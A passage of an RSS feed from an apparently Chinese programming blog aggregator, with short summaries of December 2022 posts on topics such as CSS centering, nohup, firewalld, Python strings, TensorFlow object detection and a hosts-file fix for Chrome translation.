      <pubDate>Sun, 18 Dec 2022 20:00:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f6482d1f24270ad8eb91cead4f5b893/</guid>
      <description>RK3588是瑞芯微最新推出的八核旗舰芯片，专为8K场景应用设计，性能十分出色，可广泛应用于ARM集群服务器、边缘计算、视频编解码、车载电子、PC等领域。RK3588的拓展接口也十分丰富，非常适合行业产品定制。RK3588S是RK3588的低配版，其区别类似RK3568跟RK3566的区别，设计框架基本一致，面向的细分领域不同。RK3588可以说是目前接口最丰富的通用型ARM SoC芯片，芯片性能也十分均衡，视频解码能力十分突出，在影音领域将会有广泛的应用，丰富的接口也十分适合行业客户的定制开发。因此，RK3588是面向高端的行业应用，而RK3588S框架和RK3588类似，但是接口较少，主要面向消费类的产品。RK3588S的视频输入输出接口，type-c接口，SATA接口，RJ45网口均比RK3588少，并且RK3588S不支持PCI-E拓展，这使得二者的定位明显的区分。&#xA;考虑到RK3588跟RK3588S的堆叠设计比较复杂，建议大家多考虑核心板加底板的产品形态，推荐使用B2B连接器，目前连接器合高已经可以控制到3mm，连接器本身对PCBA的厚度影响已经很小。核心板产品对降低多项目的开发成本，包括后期的库存成本都有很大的作用。&#xA;RK3588封装尺寸为2323mm，RK3588S封装尺寸为1717mm。RK3588更适合对产品体积限制不大的行业用品，RK3588S则更适合便携式设备。总的来说，RK3588跟RK3588S二者的性能是一致的，如果使用场景比较单一，对接口要求并不复杂，建议考虑RK3588S，这样可以有效控制成本。反之，如果是需要跨场景使用，对接口要求比较复杂的产品，建议首选RK3588。以RK3588的性能设计来看，可以满足未来五年的迭代需求，非常适合AIoT应用。</description>
    </item>
    <item>
      <title>8 种CSS实现内容居中的方法</title>
      <link>https://bchobby.github.io/posts/45c5fff64db232b0ebfdfd0e235d1613/</link>
      <pubDate>Sun, 18 Dec 2022 18:34:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45c5fff64db232b0ebfdfd0e235d1613/</guid>
      <description>关于CSS实现内容居中的方式有很多种，在今天这篇文章里，我给大家整理了8种实现内容居中的方式，希望这些方法对你学习和使用CSS进行开发有帮助。&#xA;1. Flex&#xA;可能是当今最流行和最简单的居中方式，我可以放心地承认，当我可以使用 text-align: center 代替时，我使用它来对齐段落。&#xA;.flexbox-row { display: flex; flex-direction: row; /* default value */ justify-content: center; /* x-axis */ align-items: center; /* y-axis */ } 如果您不知道自己在做什么，Flexbox 可能会有些混乱。基本上 justify-content 跨越 x 轴，align-items 跨越 y 轴。如果将 flex-direction 设置为 column，则轴将反转。&#xA;.flexbox-col { display: flex; flex-direction: column; justify-content: center; /* y-axis */ align-items: center; /* x-axis */ } 这不是一个 flexbox 的文章，所以，在这里不详细介绍flexbox。&#xA;2. grid&#xA;这个也是非常实用的方法。&#xA;.grid { display: grid; place-items: center; } 3.</description>
    </item>
    <item>
      <title>linux 后台运行程序命令</title>
      <link>https://bchobby.github.io/posts/aa6eed89427ca0faa5b27be6b5a77555/</link>
      <pubDate>Sun, 18 Dec 2022 18:06:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa6eed89427ca0faa5b27be6b5a77555/</guid>
      <description>文章目录 一、cmd &amp;amp;二、nohup command &amp;amp; 这篇文章记录了两种linux程序后台运行的方式，两种方式略有区别，各位根据需求使用。&#xA;一、cmd &amp;amp; 通过 cmd 命令后加 &amp;amp; 完成程序启动并在后台运行。&#xA;可通过重定向的方式把日志打印到指定文件中如cmd &amp;gt; cmd.out 2&amp;gt;&amp;amp;1 &amp;amp;&#xA;需要注意的是 当终端断开时，任务就会停止&#xA;二、nohup command &amp;amp; 默认情况下，该命令的所有输出都被重定向到nohup.out文件中。&#xA;也可以使用下面的命令来指定输出文件为nohupcmd.out：&#xA;nohup command &amp;gt; nohupcmd.out 2&amp;gt;&amp;amp;1 &amp;amp;&#xA;nohup只有在使用exit命令正常退出终端，才能保证命令一直在后台运行。终端异常退出后台命令也会停止运行。&#xA;文章参考 https://www.cnblogs.com/kebaoye/p/16339500.html。感谢@柯宝宝智商感人 博主整理的内容。</description>
    </item>
    <item>
      <title>34-Vue之ECharts高级-调色盘</title>
      <link>https://bchobby.github.io/posts/cbce28c1c7e822c33e1b5ec47c6fbcc7/</link>
      <pubDate>Sun, 18 Dec 2022 17:18:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbce28c1c7e822c33e1b5ec47c6fbcc7/</guid>
      <description>ECharts高级-调色盘 前言调色盘主题调色盘全局调色盘局部调色盘渐变颜色 前言 本篇来学习下ECharts中调色盘的使用 调色盘 它是一组颜色，图形、系列会自动从其中选择颜色, 不断的循环从头取到尾, 再从头取到尾, 如此往复主要分三种：主题调色盘、全局调色盘、局部调色盘 主题调色盘 echarts.registerTheme(&#39;myCustomTheme&#39;, { &#34;color&#34;: [ &#34;#893448&#34;, &#34;#d95850&#34;, &#34;#eb8146&#34;, &#34;#ffb248&#34;, &#34;#f2d643&#34;, &#34;#ebdba4&#34; ], &#34;backgroundColor&#34;: &#34;rgba(242,234,191,0.15)&#34;, }) 完整代码 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;ie=edge&#34;&amp;gt; &amp;lt;title&amp;gt;ECharts高级-调色盘&amp;lt;/title&amp;gt; &amp;lt;!-- cdn方式 引入echarts.js文件 --&amp;gt; &amp;lt;script src=&#34;https://cdn.jsdelivr.net/npm/echarts@5.4.1/dist/echarts.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;lib/CustomTheme.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&#39;app&#39; style=&#34;width: 600px;height:400px&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; // 主题调色盘 echarts.registerTheme(&#39;myCustomTheme&#39;, { &#34;color&#34;: [ &#34;#893448&#34;, &#34;#d95850&#34;, &#34;#eb8146&#34;, &#34;#ffb248&#34;, &#34;#f2d643&#34;, &#34;#ebdba4&#34; ], &#34;backgroundColor&#34;: &#34;</description>
    </item>
    <item>
      <title>【Linux安全管理】Firewalld详解</title>
      <link>https://bchobby.github.io/posts/702eb5638733d7f29cb7d759e6831c68/</link>
      <pubDate>Sun, 18 Dec 2022 17:09:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/702eb5638733d7f29cb7d759e6831c68/</guid>
      <description>目录&#xA;1、与iptables不同&#xA;2、配置防火墙&#xA;3、firewalld区域概念&#xA;4、filewalld 配置生效&#xA;5、firewalld服务&#xA;firewalld 端口映射&#xA;富规则 rich-rule&#xA;1、与iptables不同 firewalld采用区域和服务管理，而不是链式规则动态管理规则，允许更新规则而不破坏原有会话与连接 2、配置防火墙 firewall-cmd 命令行模式 推荐使用firewall-config（如果没装图形化界面就不行）vi /etc/firewalld/firewalld.conf # (查看状态) # firewall-cmd --state #（更新配置） # firewall-cmd --reload 3、firewalld区域概念 zone&#xA;trusted 信任区域 默认允许所有流量传入public 公共区域 （默认区域）默认允许ssh 服务 dhcp external 外部区域 默认允许ssh其余均拒绝home 家庭区域 有ssh， 预定于服务等internal 内部区域 默认允许ssh 服务 dhcp服务等work 工作区域 默认sshdmz 隔离区 block 限制区域 默认拒绝所有流量传入drop 丢弃区域 默认丢弃所有流量传入 工作原理：&#xA;管理数据包时：&#xA;1、先根据数据包的源IP进行相应区域的防火墙规则匹配； 如果源地址关联到特定的区域，则按特定区域的规则执行； 如果未关联到特定的区域，则按默认区域的规则执行。&#xA;2、根据传入的网络接口，进行相应区域的防火墙规则匹配； 如果源地址关联到特定的区域，则按特定区域的规则执行； 如果未关联到特定的区域，则按默认区域的规则执行。&#xA;绑定源地址的区域规则&amp;gt; 网卡绑定的区域规则&amp;gt; 默认区域规则&#xA;4、filewalld 配置生效 运行时配置：&#xA;不中断现有连接不能修改服务配置 永久配置</description>
    </item>
    <item>
      <title>python 字符串相关操作汇总</title>
      <link>https://bchobby.github.io/posts/9c8dca5cd199692c1e63e8ac835782d6/</link>
      <pubDate>Sun, 18 Dec 2022 15:39:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c8dca5cd199692c1e63e8ac835782d6/</guid>
      <description> 目录&#xA;1. 使用 += 连接字符&#xA;2. 替换字符串中的部分字符&#xA;3. 删除字符串中的字符&#xA;4. 分割字符串&#xA;1. 使用 += 连接字符 示例：&#xA;2. 替换字符串中的部分字符 （1）使用 replace() 函数：一次只能替换一种字符&#xA;语法：&#xA;str.replace(old, new[, max]) old -- 将被替换的字符串 new -- 新字符串，用于替换old字符串 max -- 可选参数，若不指定该参数，则字符串中所有old字符将被new替代；若指定该参 数，则只有max个old字符被替换为new 示例：&#xA;（2）使用 translate() 函数：可以同时将多种字符替换为不同字符&#xA;语法：&#xA;str.translate(table) table -- 翻译表，翻译表是通过maketrans方法转换而来。 示例：&#xA;3. 删除字符串中的字符 （1）使用 strip() 函数：只能用于删除字符串首尾的字符&#xA;语法：&#xA;str.strip([chars]) chars -- 要删除的字符，若不指定，则默认删除字符串首尾的空格和换行符；若指定， 则删除字符串首尾的指定的字符。 示例： （2）切片法&#xA;示例：&#xA;4. 分割字符串 （1）使用 split() 函数&#xA;语法：&#xA;str.split(string, num) string -- 分割符，默认为所有的空字符，包括空格、换行(\n)、制表符(\t)等。 num -- 分割次数，默认为-1，即分割所有。 示例： </description>
    </item>
    <item>
      <title>架构设计（容量分析）</title>
      <link>https://bchobby.github.io/posts/86967c27fd872ed85edcf38f239b990b/</link>
      <pubDate>Sun, 18 Dec 2022 12:16:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86967c27fd872ed85edcf38f239b990b/</guid>
      <description>架构设计（容量分析） 容量分析 性能标准（不同机器数值会有差异）&#xA;# mysql 单端口读：5000/s 单端口写：3000/s 单表容量：5000万 # redis 单端口读写：4万/s 单端口内存容量：32g # kafka 单端口读：3万/s 单端口写：5000/s # 应用服务器 处理请求的峰值：5000/s 场景1：用户下单地址读写，使用缓存存储常用地址&#xA;用户量2亿，每天增长5万 促销日订单量1400万，且50%的订单集中在2个小时内 假设新增的用户全部增加一条地址，并且高峰期20%的用户在下单时添加地址 当前2亿用户，每天增长5万，平均每个用户5个地址，按照30年计算 按照峰值的5倍冗余设计，常用地址容量按照30倍计算 # 数据库mysql计算 读吞吐量：(1400万*0.5)/(2*60*60)=1000/s，5倍冗余：5000/s，需要1个端口 写吞吐量：(1400万*0.2+5万)/(2*60*60)=400/s，5倍冗余：2000/s，需要1个端口 数据容量：(2亿+5万*365*30)*5=35亿，5倍冗余：175亿，需要350张表 读写混合部署：2主2从 读写分离部署：1主1从 表的数量：2的指数对齐，需要512张表（考虑到端口拓展时不用拆分数据库，尽可能使用更多的库） 设计结果：1端口*32库*16表、1主1从 # 缓存Redis计算 当天下单用户全部为活跃用户，缓存24小时， 每个用户5调地址，每条地址数据大小1kb 读写：redis可以处理读5000/s、写2000/s 数据容量：1400万*5*1kb=70g，5倍冗余350g，360g/32g=11，需要11台redis服务器 设计结果：11主11从 # 应用服务器计算 单台服务器可以处理读5000/s、写2000/s 为防止单点故障，使用2台应用服务器 场景2：通过消息队列异步产生物流订单，并提供查询服务&#xA;用户下单3天后到货，三天内50%的用户每天查询一次物流订单、物流记录 用户下单产生一次物流订单，促销日订单量1400万，50%的下单集中在2个小时 按照促销日每天产生1400万订单，订单3天到货，每个订单产生8个物流记录，8条记录在3天内均匀产生 当前又2亿条订单数据，每天新增400万订单，按照3年订单量存储数据 三方物流记录查询接口吞吐量峰值：5000/s # 数据库计算 读吞吐量：(1400万*3*0.5)/(24*60*60)=250/s，5倍冗余1250/s，1个端口 写吞吐量：(1400万*0.5)/(2*60*60)=1000/s， (1400万*3*8)/(3*24*60*60)=1200/s， 5倍冗余(1000/s+1200/s)*5=11000/s，需要4个端口 数据容量：物流订单数据2亿+400万*365*3=46亿，5倍冗余；230亿，需要460张表 物流记录数据是订单的8倍，需要460*8=3580张表 混合读写：5主5从 读写分离：4主4从 考虑到端口拓展师不拆分数据库，尽可能设置更多的库 设计结果：物流订单表 4端口*16库*8表、 物流记录表 4端口*16库*64表 4主4从 # 消息队列计算 物流订单通过kafka发送，5倍冗余峰值为5000/s，单台kafka可以满足需求 设计结果：考虑到单点问题，至少使用2台kafka机器 # 定时任务轮询物流记录时间间隔 每天产生1400万订单，平均3天到货 1400万*3/5000=2h，定时任务每隔2小时查询一次 # 应用服务器计算 读吞吐量：1250、写吞吐量：11000/s，3台应用服务器可以处理 定时任务轮询三方记录服务器：单台服务器就可处理，考虑单点故障，使用2台服务器 性能分析 性能指标</description>
    </item>
    <item>
      <title>Windows 利用tensorflow2 object-detection api训练自己的模型</title>
      <link>https://bchobby.github.io/posts/ed1a382cff5b7c2dbea5cd5b02a9099e/</link>
      <pubDate>Sun, 18 Dec 2022 11:55:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed1a382cff5b7c2dbea5cd5b02a9099e/</guid>
      <description>预备工作：&#xA;windows tensorflow2 object-detection api 下载安装&#xA;根据这个文档一步步走&#xA;训练自定义对象检测器 — 张量流 2 对象检测 API 教程文档 (tensorflow-object-detection-api-tutorial.readthedocs.io)&#xA;1.准备数据集 需将数据集分为训练集和测试集两部分，使用labelImg工具打标签生成.xml文件，然后将.xml文件转成.record文件。&#xA;2.训练模型 models/tf2_detection_zoo.md at master · tensorflow/models · GitHub 在这里下载需要的模型，配置config文件时最好将batch_size的值改为1，以防显存不足，当然也可以自己设置一个合适的值。&#xA;可能遇到的报错：&#xA;self._read_buf = _pywrap_file_io.BufferedInputStream(&#xA;UnicodeDecodeError: &#39;utf-8&#39; codec can&#39;t decode byte 0xd5 in position 114: invalid continuation byte&#xA;可能的解决方法：&#xA;配置模型config文件时，将路径中的‘ \ &#39;改成&#39; /&#39;.如：&#39;.....training_demo/annotations/label_map.pbtxt&#39;&#xA;路径中含有中文，需将路径改为全英文&#xA;AssertionError: Found 260 Python objects that were not bound to checkpointed values, likely due to changes in the Python program.</description>
    </item>
    <item>
      <title>判断成绩等级。判断三位数，是否为水仙花数。判断门票价格</title>
      <link>https://bchobby.github.io/posts/080f5e04d918ee785d4e6078df4ece00/</link>
      <pubDate>Sun, 18 Dec 2022 01:57:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/080f5e04d918ee785d4e6078df4ece00/</guid>
      <description>//引入java中util包中的Scanner这个类 import java.util.Scanner; /** * @author ran */ public class java_1 { public static void main(String[] args){ //调用方法 text2(); } /*************** *方法名字：text1 *功能：通过if的嵌套实现，输入一个成绩，判断其处在哪个分段 * &amp;gt;=90用A表示，60-89用B表示，60以下用C表示 * */ public static void text1(){ /* * 1.定义整形变量num * 2.定义一个Scanner类的指向(指向的位置是通过new Scanner出来的对象的位置) * 3.4.将从控制台上输出的值传赋值给num * */ int num; Scanner sc=new Scanner(System.in); System.out.println(&#34;请输入您的分数（1-100的整数）：&#34;); num= sc.nextInt(); //判断输出的数值是否符合取值范围，不符合则停止程序并提示重新输入 if(num&amp;gt;=0&amp;amp;&amp;amp;num&amp;lt;=100){ //用多分支if去判断输入的数值符合哪个等级 if(num&amp;gt;=90){ System.out.println(&#34;A&#34;); } else if(num&amp;gt;=60){ System.out.println(&#34;B&#34;); } else{ System.out.println(&#34;C&#34;); } } else{ System.out.println(&#34;您的输入有误！输入数值应是 1-100 的整数！&#34;); } } /**************** *方法名字：text2 *功能：输入三位数，判断是否输入正确，正确则判断这个数是否是水仙花数 * 水仙花数指各个位数上的立方和等于该数自己，如153是一个水仙花数 * 因为 153=1*1*1+5*5*5+3*3*3 * */ public static void text2(){ /* * 1.</description>
    </item>
    <item>
      <title>＜TCP 协议内容分析＞＜1＞基于Wireshark分析TCP交互数据包</title>
      <link>https://bchobby.github.io/posts/87557a6dc82d4d3e7127ca69717a0bd1/</link>
      <pubDate>Sun, 18 Dec 2022 00:32:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87557a6dc82d4d3e7127ca69717a0bd1/</guid>
      <description>目录 (一) 目标&amp;amp;方法(二) 平台(三) 步骤一. 实现TCP通信( TCP源码 - 文末附 )二. 获取1. 选择(网卡)通道2. 过滤 + 抓取 三. 分析1. 简要信息2. 拆解&amp;lt;1&amp;gt;三次&#34;握手&#34;&amp;lt;2&amp;gt;传输数据&amp;lt;3&amp;gt;四次&#34;挥手&#34; 3. ACK &amp;amp; Seq 变化 (四) 结语-------------TCP源码tcp_client.ctcp_server.c (一) 目标&amp;amp;方法 为了可以更深入,更直观的理解TCP通信原理,理解TCP数据段格式，本文对 – 字符&#34;A&#34;通过TCP协议传输的数据包进行分析&#xA;TCP数据段格式&#xA;(二) 平台 Linux - 实现TCP通信Wireshark - 实时捕获TCP传入和传出数据包 安装包&#xA;官方 - win64-3.4.9.exe&#xA;官方 - macOS Intel 64-bit.dmg&#xA;官方 - Source Code文章 ( 请自行评测! )&#xA;ubuntu下安装-link1&#xA;ubuntu下安装-link2 (三) 步骤 一. 实现TCP通信( TCP源码 - 文末附 ) 传输的数据为 单字符 “A”&#xA;注意</description>
    </item>
    <item>
      <title>PYTHON导出表格数据到EXCEL</title>
      <link>https://bchobby.github.io/posts/6315a0eda54420d3f525a6e52b117600/</link>
      <pubDate>Sun, 18 Dec 2022 00:06:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6315a0eda54420d3f525a6e52b117600/</guid>
      <description>要在 Python 中将表格数据导出到 Excel，可以使用一些第三方库，比如 openpyxl、xlsxwriter 或 pandas。&#xA;使用 openpyxl：&#xA;安装 openpyxl：pip install openpyxl导入 openpyxl 模块：import openpyxl创建一个工作簿：wb = openpyxl.Workbook()创建一个工作表：ws = wb.create_sheet()将数据写入工作表：ws.append([&#34;列1&#34;, &#34;列2&#34;, &#34;列3&#34;])保存工作簿：wb.save(&#34;文件名.xlsx&#34;) 使用 xlsxwriter：&#xA;安装 xlsxwriter：pip install xlsxwriter导入 xlsxwriter 模块：import xlsxwriter创建一个工作簿：wb = xlsxwriter.Workbook(&#34;文件名.xlsx&#34;)创建一个工作表：ws = wb.add_worksheet()将数据写入工作表：ws.write(0, 0, &#34;列1&#34;)保存工作簿：wb.close() 使用 pandas：&#xA;安装 pandas：pip install pandas导入 pandas 模块：import pandas as pd创建一个 DataFrame：df = pd.DataFrame({&#34;列1&#34;: [1, 2, 3], &#34;列2&#34;: [4, 5, 6], &#34;列3&#34;: [7, 8, 9]})将 DataFrame 写入 Excel 文件：df.to_excel(&#34;文件名.xlsx&#34;, index=False) 注意：在导出数据到 Excel 文件时，如果文件已存在，默认会覆盖原文件。如果希望在原文件中追加数据，可以使用 engine 参数，例如：df.</description>
    </item>
    <item>
      <title>大数据的基础知识上（大数据的概念和生态、linux系统与命令、虚拟机导入、虚拟机额配置和联网）</title>
      <link>https://bchobby.github.io/posts/a872d270612f63921f885ea901db148a/</link>
      <pubDate>Sun, 18 Dec 2022 00:02:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a872d270612f63921f885ea901db148a/</guid>
      <description>目录 一、数据分析的方向二、数据分析步骤1.明确分析目的和思路2.数据传输收集过程3.数据处理4.数据分析5.数据展现6.报告撰写 三、数据是什么 大数据时代大数据的应用有哪些 四、分布式和集群1.概念 🎡（by the way）大数据生态系统🎡（by the way）大数据和物联网、人工智能、云计算的关系五、linux的关键虚拟机：SHH协议 五、linux文件系统1. 基础知识2.常用命令 一、数据分析的方向 这三个方向正好对应大数据中的三个名词：&#xA;实时分析，离线分析和机器学习&#xA;实时分析是指 别名流式计算、流式处理。&#xA;二、数据分析步骤 数据分析步骤 (流程)的重要性体现在:对如何开展数据分析提供了强有力的逻辑支撑;&#xA;张文霖在《数据分析六步曲》说,典型的数据分析应该包含以下几个步骤&#xA;1.明确分析目的和思路 2.数据传输收集过程 3.数据处理 干净规整的结构化数据&#xA;4.数据分析 5.数据展现 6.报告撰写 甚至可以卖钱 给出商业建议&#xA;数据从数据源来到应用的地方去&#xA;核心：采集 处理 分析 应用&#xA;三、数据是什么 大数据时代 （通俗的说 就是数据太大 普通方法处理不了（上万））&#xA;数据大是一回事 数据还要真实才行&#xA;大数据的应用有哪些 ●电商领域&#xA;精准广告位、个性化推荐、大数据杀熟&#xA;●传媒领域&#xA;精准营销、猜你喜欢、交互推荐&#xA;●金融方面&#xA;理财投资,通过对个人的信用评估,风险承担能力评估,集合众多理财产品、推荐响应的投资理财产品。&#xA;●交通领域&#xA;拥堵预测、智能红绿灯、导航最优规划&#xA;●电信领域&#xA;基站选址优化、舆情监控、客户用户画像&#xA;●安防领域&#xA;犯罪预防、天网监控&#xA;●医疗领域&#xA;智慧医疗、疾病预防、病源追踪&#xA;思考：大数据的存储和计算的两大问题&#xA;四、分布式和集群 数据结构真实才能更好额的反应民意。&#xA;最几年数据呈现爆炸级增长，然而我们要好好儿利用数据，分析数据，因为数据之中有规律，数据之中有价值。&#xA;1.概念 分布式：如京东。多台机器，但是每台机器上运行着不同的服务。有的承担支付服务，有的服务器专门承担用户评论等等。多台机器通过网络通信共同配合，对外提供服务。&#xA;集群：多台机器，每台机子上的系统是一样的。如，百度，多个服务器实现搜索功能。&#xA;🎡（by the way）大数据生态系统 🎡（by the way）大数据和物联网、人工智能、云计算的关系 五、linux的关键 虚拟机： 课程链接：https://www.</description>
    </item>
    <item>
      <title>VS里测试连接Access数据库的坑。Updata始终更新不成功</title>
      <link>https://bchobby.github.io/posts/404925ca58a88a5462751309af5665cc/</link>
      <pubDate>Sat, 17 Dec 2022 23:13:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/404925ca58a88a5462751309af5665cc/</guid>
      <description>WPF 连接ACCESS数据库注意事项 花6小时总结出。。。&#xA;在vs里测试数据库连接千万不要把数据库放入工程目录 不然随便你怎么玩，更新都不生效。也没有任何提示</description>
    </item>
    <item>
      <title>Python 正则提取字符串中的地区</title>
      <link>https://bchobby.github.io/posts/3d129ea7b50a9896cc014209bf270bc9/</link>
      <pubDate>Sat, 17 Dec 2022 22:43:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d129ea7b50a9896cc014209bf270bc9/</guid>
      <description>方法一 re正则 这里我查找的优先级是 市-&amp;gt;省-&amp;gt;自治区-&amp;gt;县-&amp;gt;区&#xA;代码实现&#xA;import re PATTERN = r&#39;([\u4e00-\u9fa5]{2,5}?(?:市|省|自治区|县|区)){1}&#39; data = &#39;&#39;&#39;11111111111231231深圳市中药制造业创新中心有限公司经典名方麦门冬汤复方制剂开发研究&#39;&#39;&#39; pattern = re.compile(PATTERN) m = pattern.search(data) place = m.group() print(place) #深圳市 如果想要功能更全的匹配&#xA;#description: 从字符串中提取省市县等名称 import re import sys #匹配规则必须含有u,可以没有r #这里第一个分组的问号是懒惰匹配,必须这么做 PATTERN = r&#39;([\u4e00-\u9fa5]{2,5}?(?:省|自治区|市)){0,1}([\u4e00-\u9fa5]{2,7}?(?:区|县|州)){0,1}([\u4e00-\u9fa5]{2,7}?(?:村|镇|街道)){1}&#39; data_list = [&#39;北京市南瓜村&#39;, &#39;陕西省西安市雁塔区大村&#39;, &#39;西班牙镇街道&#39;, &#39;北京市海淀区&#39;, &#39;黑龙江省佳木斯市汤原县大村&#39;, &#39;内蒙古自治区赤峰市&#39;, &#39;贵州省黔南州贵定县&#39;, &#39;新疆维吾尔自治区伊犁州奎屯市&#39;] for data in data_list: country = &#39;&#39; province = &#39;&#39; city = &#39;&#39; district = &#39;&#39; #pattern = re.compile(PATTERN3) pattern = re.compile(PATTERN) m = pattern.</description>
    </item>
    <item>
      <title>css的几种居中样式</title>
      <link>https://bchobby.github.io/posts/0a99098d718d41de76c8f739b69a4f09/</link>
      <pubDate>Sat, 17 Dec 2022 19:38:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a99098d718d41de76c8f739b69a4f09/</guid>
      <description> css的几种居中样式 一、水平居中 /*块级元素*/ /*1-外边距*/ { margin: 0 auto; } /*2-定位*/ { display: absolute; left:50%; transform:translateX(-50%); } 设置了宽度，可以margin负值 + transform:translateX(-50%)实现; /*行内元素*/ /*1-对齐 给父级元素添加*/ { text-align: center; } 二、垂直居中 1-块级元素; /*定位*/ { display: absolute; top:50%; transform:translateY(-50%); } 设置了宽度，可以margin：-50% + transform:translateY(-50%)实现; 2-行内元素; 单行：行内子元素的高度等于块级父元素的高度即可 多行：给父元素添加 { display: table-cell; vertical-align:middle; } 三、水平垂直居中 1, margin负值 + 定位（transform）; 2, { position:absolute; top:50%; left:50%; transform:transition(-50%,-50%); } 3,flex布局居中 /*给父元素添加*/ { display: flex; justify-content: center; /*水平居中*/ align-items: center; /*垂直居中*/ } 4，grid布局居中 /*给父元素添加*/ { display: grid; place-align:center; /*或者*/ place-content:center; } </description>
    </item>
    <item>
      <title>labelme2coco 使用方法</title>
      <link>https://bchobby.github.io/posts/6604e5e9d81720ed5b316c06cf706916/</link>
      <pubDate>Sat, 17 Dec 2022 16:00:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6604e5e9d81720ed5b316c06cf706916/</guid>
      <description>首先 将标注的json 文件和图像放在一个文件夹下。&#xA;文件夹名字为image，如上图所示。&#xA;新建一个labels的txt&#xA;里面填进去你标注的类型，如标注了cat这一类：&#xA;将 image 和labelme2coco放到同一个文件夹下，我放到了D盘的dataset文件夹下：&#xA;打开cmd&#xA;进入到目标文件夹下 D:\dataset&#xA;输入：&#xA;python labelme2coco.py image coco --labels labels.txt&#xA;按enter键运行即可。&#xA;效果：&#xA;会生成一个coco文件夹&#xA;缺点：并没有划分训练集测试集，可在人为划分训练集和测试集后再使用这种方式 进行训练</description>
    </item>
    <item>
      <title>解决idea使用卡顿问题</title>
      <link>https://bchobby.github.io/posts/2b9e522e94d2102930372be1e0944c3d/</link>
      <pubDate>Sat, 17 Dec 2022 13:43:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b9e522e94d2102930372be1e0944c3d/</guid>
      <description>问题原因：1.缓存过多 2.内存不足&#xA;解决方案：&#xA;1.修改配置文件&#xA;选择help，点击edit custom vm options..&#xA;修改两个配置 尽可能大一些 跟我这样也行&#xA;2.清理缓存&#xA;这里清理缓存&#xA;完成以上步骤就可以使idea更流畅啦！&#xA;以上就是两个方案,最终还是和电脑配置有很大关系。感谢您能够看完，如果有帮助就给个关注吧，我会继续更新，为大家解决更多问题。</description>
    </item>
    <item>
      <title>【关于谷歌浏览器 无法翻译此网页的解决方法】</title>
      <link>https://bchobby.github.io/posts/e7bde4feba7df867554a1eaf3bc2bb9f/</link>
      <pubDate>Sat, 17 Dec 2022 11:24:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7bde4feba7df867554a1eaf3bc2bb9f/</guid>
      <description>文章目录 问题描述解决思路1.找到hosts文件2.修改hosts文件 问题解决 问题描述 今天使用Chrome的时候，想翻译一下网页内容，突然发现怎么也无法翻译此网页，如下图所示，所以才有了这篇博客，下面针对此问题讲解一下解决方案。&#xA;解决思路 1.找到hosts文件 找到hosts文件的路径&#xA;C:\Windows\System32\drivers\etc 2.修改hosts文件 打开hosts文件后，在最下面添加以下内容，保存。&#xA;142.250.4.90 translate.googleapis.com 172.253.114.90 translate.googleapis.com 172.217.203.90 translate.googleapis.com 172.253.112.90 translate.googleapis.com 142.250.9.90 translate.googleapis.com 172.253.116.90 translate.googleapis.com 142.250.97.90 translate.googleapis.com 142.250.30.90 translate.googleapis.com 142.250.111.90 translate.googleapis.com 172.217.215.90 translate.googleapis.com 142.250.11.90 translate.googleapis.com 142.251.9.90 translate.googleapis.com 108.177.122.90 translate.googleapis.com 142.250.96.90 translate.googleapis.com 142.250.100.90 translate.googleapis.com 142.250.110.90 translate.googleapis.com 172.217.214.90 translate.googleapis.com 172.217.222.90 translate.googleapis.com 142.250.31.90 translate.googleapis.com 142.250.126.90 translate.googleapis.com 142.250.10.90 translate.googleapis.com 172.217.195.90 translate.googleapis.com 172.253.115.90 translate.googleapis.com 142.251.5.90 translate.googleapis.com 142.250.136.90 translate.googleapis.com 142.250.12.90 translate.googleapis.com 142.250.101.90 translate.googleapis.com 172.217.192.90 translate.googleapis.com 142.250.0.90 translate.googleapis.com 142.</description>
    </item>
    <item>
      <title>【Linux】 at命令详解</title>
      <link>https://bchobby.github.io/posts/9388e4527795e67681f8f464be904f09/</link>
      <pubDate>Sat, 17 Dec 2022 09:06:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9388e4527795e67681f8f464be904f09/</guid>
